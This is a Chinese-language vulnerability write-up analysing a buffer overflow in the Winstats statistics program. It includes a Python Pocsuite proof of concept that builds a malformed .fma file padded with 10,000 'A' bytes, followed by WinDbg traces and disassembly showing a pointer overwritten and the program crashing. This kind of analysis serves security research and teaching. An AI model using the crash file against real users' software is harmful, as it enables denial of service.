Winstats(.fma)本地栈溢出漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/d5e44826d1af59665a677195ecd42327-wsfr32z.exe

PoC:

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '69154'  # ssvid
    version = '1.0'
    author = ['k0Sh1血战排行榜']
    vulDate = ''
    createDate = '2016-01-05'
    updateDate = '2016-01-05'
    references = ['http://www.sebug.net/vuldb/ssvid-69154']
    name = 'Winstats (.fma) Local Buffer Overflow PoC'
    appPowerLink = 'http://math.exeter.edu/rparris/peanut/wsfr32z.exe'
    appName = 'Winstats'
    appVersion = 'v 1.9'
    vulType = 'Local Crash PoC'
    desc = '''
        1、生成poc名称为fma_poc.fma,可自行修改
        2、测试过程
           点击Fenètre,点击1variable,点击Fichier,点击Ouvrir
           ,点击Open fma_poc.fma
        3、提供漏洞详情分析,期待attack!:)
    '''
    samples = ['']

    def _attack(self):
        result = {}
        #Write your code here

        return self.parse_output(result)

    def _verify(self):
        result = {}
        #Write your code here
        hd = ('\xB9\x01\x00\x00\x09\x00\x00\x00'
        '\x50\x00\x00\x00\x5D\x00\x00\x00'
        '\x00\x02\x00\x00\x00\x02\x00\x00'
        '\x00\x00\x00\x00\x01\x00\x00\x00'
        '\x3D\x00\x00\x00\xD9\xFF\xFF\xFF'
        '\x2C\x01\x00\x00\x64\x00\x00\x00'
        '\x64\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x0A')
 
        ft = ('\x0A\x00\x00\x00\x0A\x00\x00\x00\x0A\x00'
        '\x00\x00\x0C\x00\x00\x00\xF0\xFF\xFF\xFF'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00'
        '\x08\x02\x01\x31\x43\x6F\x75\x72\x69\x65'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x02\x08'
        '\x02\x01\x31\x53\x79\x6D\x62\x6F\x6C\x00'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
        '\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
        '\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF0\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
        '\x02\x01\x02\x54\x69\x6D\x65\x73\x00\x72'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF5\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
        '\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x90\x01\x00\x00\x00\x00\x00\x00\x08'
        '\x02\x01\x31\x43\x6F\x75\x72\x69\x65\x72'
        '\x20\x4E\x65\x77\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\xF3\xFF\xFF\xFF\x00'
        '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        '\x00\x09\x00\x10\x00\x00\x00\x00\x00\x00'
        '\x80\x20\x13\x14\x36\xF7\x57\x26\x96\x57'
        '\x22\x04\xE6\x57\x70\x00\x00\x00\x00\x00'
        '\x00\x00\x00\x00\x00\x00\x00')
 
        junk = '\x41' * 10000 
        exp = hd + junk + ft
        f = open("fma_poc.fma",'w')
        f.write(exp)
        f.close()
        result['FileInfo'] = {}
        result['FileInfo']['Content'] = 'Create OK!'
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Create fma PoC failure!')
        return output


register(TestPOC)

测试环境:
Windows xp sp3

PoC是基于创宇的Pocsuite写的,其实自己调整也很简单,对应的使用方法已经写在PoC的说明里了。


漏洞复现和存疑


这是一处奇葩的漏洞,奇葩的作者几乎把所有kernel32.dll中的api重写了,但功能和kernel32中的api没有任何区别,漏洞作者先后调用了很多次fwrite,然而在其中一次fwrite的时候,将没有长度控制的畸形字符串传入缓冲区,就是这次畸形字符串传入,导致了某处存放的关键指针被覆盖,从而在某一次fwrite的时候,导致了对这个被覆盖指针的调用,而这个地址不可用,从而导致了漏洞的发生。

由于第二次读取时指针可控,导致拷贝内容可控,但实际上由于拷贝的数组大小有限,只能造成拒绝服务漏洞。

首先我们生成样本,然后加载程序,程序崩溃,附加windbg,到达漏洞现场。

(764.408): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00d56b7e ebx=0051fea4 ecx=0000003d edx=000000f4 esi=41414141 edi=00d56b7e
eip=004f004b esp=0012f8d4 ebp=0012f8dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
wstatfr!_GetExceptDLLinfo+0xef005:
004f004b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以看到,此时esi的值是41414141,而此时执行rep movs操作时,读取esi地址的值,这个地方显然是没有内容的,读取失败导致程序崩溃,我们通过kb回溯堆栈调用情况。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f8dc 004f3a35 00d56b7e 41414141 000000f4 wstatfr!_GetExceptDLLinfo+0xef005
0012f900 004f3d52 41414141 000000f4 0051fea4 wstatfr!__unlockDebuggerData$qv+0x2ee5
0012f91c 0040a762 41414141 000000f4 00000001 wstatfr!__unlockDebuggerData$qv+0x3202
0012f9a4 00409598 00ac7ab0 00000000 00000003 wstatfr!_GetExceptDLLinfo+0x971c
0012fabc 00409514 00ac7ab0 00ac7ab0 0012fae4 wstatfr!_GetExceptDLLinfo+0x8552

可以看到,在0040a762和004f3d52两处调用时,第一个参数就产生了一定的问题,因此我们不能仅仅回溯到004f3a35前的位置,最好从00409598的位置,从此时开始回溯过程。


静态漏洞分析


首先我们查看00409598附近的代码

.text:00409590                 push    0
.text:00409592                 push    ebx
.text:00409593                 call    sub_40A570
.text:00409598                 add     esp, 8

其实这里没有什么特别的要注意的,但是我在分析时看到上面有一段我们值得稍微注意一下的地方。

add     esp, 8
push    offset mode     ; "wb"
lea     edx, [ebp+path]
push    edx             ; path
call    _fopen
add     esp, 8
mov     esi, eax
mov     [ebx+7Eh], esi

这里有一处fopen调用,但是我们注意到打开的姿势是wb,是写文件,这一点稍后我们动态调试时会讲解。

由于中间堆栈调用较多,如果单步调试会非常慢,这次我们采用先静态后动态的方法,跳过一些无关操作,加快调试速度,接下来我们看0012f91c附近的调用。

.text:0040A693                 mov     [edi+4Ch], eax
.text:0040A696                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A699                 push    1               ; n
.text:0040A69B                 push    50h             ; size
.text:0040A69D                 push    edi             ; ptr
.text:0040A69E                 call    _fwrite
.text:0040A6A3                 add     esp, 10h
.text:0040A6A6                 lea     edx, [ebx+665h]
.text:0040A6AC                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A6AF                 push    1               ; n
.text:0040A6B1                 push    28h             ; size
.text:0040A6B3                 push    edx             ; ptr
.text:0040A6B4                 call    _fwrite
.text:0040A6B9                 add     esp, 10h
.text:0040A6BC                 lea     ecx, [ebx+409h]
.text:0040A6C2                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A6C5                 push    1               ; n
.text:0040A6C7                 push    258h            ; size
.text:0040A6CC                 push    ecx             ; ptr
.text:0040A6CD                 call    _fwrite
.text:0040A6D2                 add     esp, 10h
.text:0040A6D5                 lea     eax, [ebx+6C3h]
.text:0040A6DB                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A6DE                 push    1               ; n
.text:0040A6E0                 push    28h             ; size
.text:0040A6E2                 push    eax             ; ptr
.text:0040A6E3                 call    _fwrite
.text:0040A6E8                 add     esp, 10h
.text:0040A6EB                 lea     edx, [ebp+var_64]
.text:0040A6EE                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A6F1                 push    1               ; n
.text:0040A6F3                 push    11h             ; size
.text:0040A6F5                 push    edx             ; ptr
.text:0040A6F6                 call    _fwrite
.text:0040A6FB                 add     esp, 10h
.text:0040A6FE                 lea     ecx, [ebp+var_64]
.text:0040A701                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A704                 push    1               ; n
.text:0040A706                 push    11h             ; size
.text:0040A708                 push    ecx             ; ptr
.text:0040A709                 call    _fwrite
.text:0040A70E                 add     esp, 10h
.text:0040A711                 lea     eax, [ebp+var_64]
.text:0040A714                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A717                 push    1               ; n
.text:0040A719                 push    11h             ; size
.text:0040A71B                 push    eax             ; ptr
.text:0040A71C                 call    _fwrite
.text:0040A721                 add     esp, 10h
.text:0040A724                 lea     edx, [ebp+var_64]
.text:0040A727                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A72A                 push    1               ; n
.text:0040A72C                 push    11h             ; size
.text:0040A72E                 push    edx             ; ptr
.text:0040A72F                 call    _fwrite
.text:0040A734                 add     esp, 10h
.text:0040A737                 lea     ecx, [ebx+72Eh]
.text:0040A73D                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A740                 push    1               ; n
.text:0040A742                 push    1Eh             ; size
.text:0040A744                 push    ecx             ; ptr
.text:0040A745                 call    _fwrite
.text:0040A74A                 add     esp, 10h
.text:0040A74D                 push    dword ptr [ebx+7Eh] ; stream
.text:0040A750                 push    1               ; n
.text:0040A752                 push    0F4h            ; size
.text:0040A757                 push    dword ptr [ebx+7CAh] ; ptr
.text:0040A75D                 call    _fwrite

这里不加代码注释了,因为都是相关的重复操作,这里多次调用fwrite,其实是写文件的操作,之前堆栈回溯到的位置是0040a75d。

接下来,我们继续找到下一处调用。

.text:004F3D47                 push    edx             ; stream
.text:004F3D48                 push    ecx             ; len
.text:004F3D49                 mov     eax, [ebp+src]
.text:004F3D4C                 push    eax             ; src
.text:004F3D4D                 call    ___fputn
.text:004F3D52                 add     esp, 0Ch

这是一处fput,主要是推送流,其实如果打开fwrite会发现,这处fput是fwrite中的一步,只是作者重写了一下而已,那么接下来一处也是如此。

.text:004F3A2B                 push    esi             ; n
.text:004F3A2C                 push    edi             ; src
.text:004F3A2D                 mov     ecx, [ebx]
.text:004F3A2F                 push    ecx             ; dest
.text:004F3A30                 call    _memcpy

这里其实也是fwrite中的一部分,而这里也是作者重写了,也是漏洞发生的位置,memcpy可以继续步入,也在主程序中。


动态调试


分析清楚后,我们重新加载这个程序,在第一处位置下断点,到达后,我们来看看刚才提到的fopen这里的情况。

0:004> g
Breakpoint 0 hit
eax=0012f024 ebx=00ac7ab0 ecx=00000000 edx=0012f024 esi=00000003 edi=00000000
eip=00409578 esp=0012f014 ebp=0012f124 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
wstatfr!_GetExceptDLLinfo+0x8532:
00409578 e803a40e00      call    wstatfr!__unlockDebuggerData$qv+0x2e30 (004f3980)

0:000> dc edx
0012f024  575c3a43 4f444e49 775c5357 692e3173  C:\WINDOWS\ws1.i
0012f034  7700696e 00000006 000000dd 00000000  ni.w

可以看到,这里edx,也就是第一个参数的值是一个路径,这里正好印证了我们触发漏洞的位置,在关闭当前窗口的地方触发的。

这时我们要思考一下程序在此时的逻辑,之前触发的步骤我已经写在poc中,程序打开时,读取文件时,并没有发生任何问题,当程序当前窗口关闭时,程序会向配置文件中写入某些参数。

因此这里的wb也可以理解了,接下来我们继续跟踪,到达

0:004> g
Breakpoint 0 hit
eax=0051fea4 ebx=00ac7ab0 ecx=00008301 edx=00d560e4 esi=0051fea4 edi=00000000
eip=00409593 esp=0012f014 ebp=0012f124 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
wstatfr!_GetExceptDLLinfo+0x854d:
00409593 e8d80f0000      call    wstatfr!_GetExceptDLLinfo+0x952a (0040a570)
0:000> dd esp
0012f014  00ac7ab0 00000000 00000003 00ac7ab0

这里并没有什么好说的,只是调用了某处函数,其实我们也可以称这里为漏洞函数,接下来我们进入连续fwrite中,我们在这里直接用ida pro来看一下。

  fwrite(&ptr, 0x50u, 1u, *(FILE **)(a1 + 126));
  fwrite((const void *)(a1 + 1637), 0x28u, 1u, *(FILE **)(a1 + 126));
  fwrite((const void *)(a1 + 1033), 0x258u, 1u, *(FILE **)(a1 + 126));
  fwrite((const void *)(a1 + 1731), 0x28u, 1u, *(FILE **)(a1 + 126));
  fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
  fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
  fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
  fwrite(&v5, 0x11u, 1u, *(FILE **)(a1 + 126));
  fwrite((const void *)(a1 + 1838), 0x1Eu, 1u, *(FILE **)(a1 + 126));

可以看到,这里连续写入文件指针a1+126的位置,而正是上面的某一次写入时的畸形字符串传入,导致了a1+1838指针被覆盖,导致后续读取操作失败。我们到达漏洞函数的位置。

0:000> p
eax=00000001 ebx=00ac7ab0 ecx=0000001e edx=00000000 esi=00ac9357 edi=0012efbc
eip=0040a757 esp=0012ef90 ebp=0012f00c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wstatfr!_GetExceptDLLinfo+0x9711:
0040a757 ffb3ca070000    push    dword ptr [ebx+7CAh] ds:0023:00ac827a=41414141
0:000> p
eax=00000001 ebx=00ac7ab0 ecx=0000001e edx=00000000 esi=00ac9357 edi=0012efbc
eip=0040a75d esp=0012ef8c ebp=0012f00c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wstatfr!_GetExceptDLLinfo+0x9717:
0040a75d e8ca950e00      call    wstatfr!__unlockDebuggerData$qv+0x31dc (004f3d2c)
0:000> dc ebx+7ca
00ac827a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ac828a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ac829a  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00ac82aa  41414141 41414141 41414141 4141414

可以看到此时指针已经被41414141覆盖了。

总结一下漏洞发生的过程,是由于对打开文件的长度没有进行有效检查,从而导致文件某一部分保存到数组空间的时候会覆盖某些关键指针,在执行文件的打开操作时,发生指针调用失败。

Comments
Write a Comment